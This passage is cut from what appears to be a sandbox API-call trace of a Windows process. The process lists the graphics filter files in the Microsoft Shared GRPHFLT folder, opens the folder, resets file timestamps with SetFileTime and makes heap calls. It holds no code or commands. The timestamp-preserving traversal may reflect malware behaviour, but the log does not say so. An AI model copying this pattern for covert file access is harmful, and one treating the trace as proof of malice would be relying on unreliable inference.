(HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.915] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0045.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0045.925] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0045.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.926] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0045.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.926] NtClose (Handle=0x170) returned 0x0 [0045.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0045.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0045.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0045.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.934] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed40e8) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedfea8 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf240 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedfec8 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf348 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x280) returned 0xed7578 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedfee8 [0045.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf450 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedff08 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf558 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedff28 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf660 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedff48 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf768 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.935] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0045.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.935] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedff68 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed40e8 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedff88 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed41f8 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedffa8 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4280 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.936] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedffc8 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4308 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedffe8 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4390 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0008 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4418 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0028 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedf870 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.937] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0045.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.937] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.938] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0045.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0045.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0048 [0045.938] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0045.938] GetLastError () returned 0x12 [0045.938] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0045.938] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, 